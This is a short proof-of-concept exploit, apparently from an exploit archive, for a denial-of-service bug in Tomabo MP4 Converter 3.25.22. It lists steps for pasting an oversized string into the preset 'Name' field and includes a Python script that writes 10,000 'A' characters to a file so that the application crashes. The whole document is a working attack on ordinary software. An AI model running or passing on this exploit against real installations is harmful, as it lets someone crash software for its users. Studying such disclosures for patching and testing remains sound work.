Tomabo MP4 Converter 3.25.22 – Denial of Service (PoC)

# -*- coding: utf-8 -*-

# Exploit Title: MP4 Converter 3.25.22 - 'Name' Denial of Service (PoC)

# Date: 14/05/2019

# Author: Alejandra Sánchez

# Vendor Homepage: http://www.tomabo.com/

# Software: http://www.tomabo.com/downloads/mp4-converter-setup.exe

# Version: 3.25.22

# Tested on: Windows 10

# Proof of Concept:

# 1.- Run the python script "MP4Converter.py", it will create a new file "MP4Converter.txt"

# 2.- Copy the text from the generated MP4Converter.txt file to clipboard

# 3.- Open MP4 Converter

# 4.- Select 'Options' > 'Video/Audio Formats'

# 5.- Click 'Add Preset' and paste clipboard in the field 'Name'

# 6.- Click 'OK' and click 'Reset All'

# 7.- Crashed

buffer = "\x41" * 10000

f = open ("MP4Converter.txt", "w")

f.write(buffer)

f.close()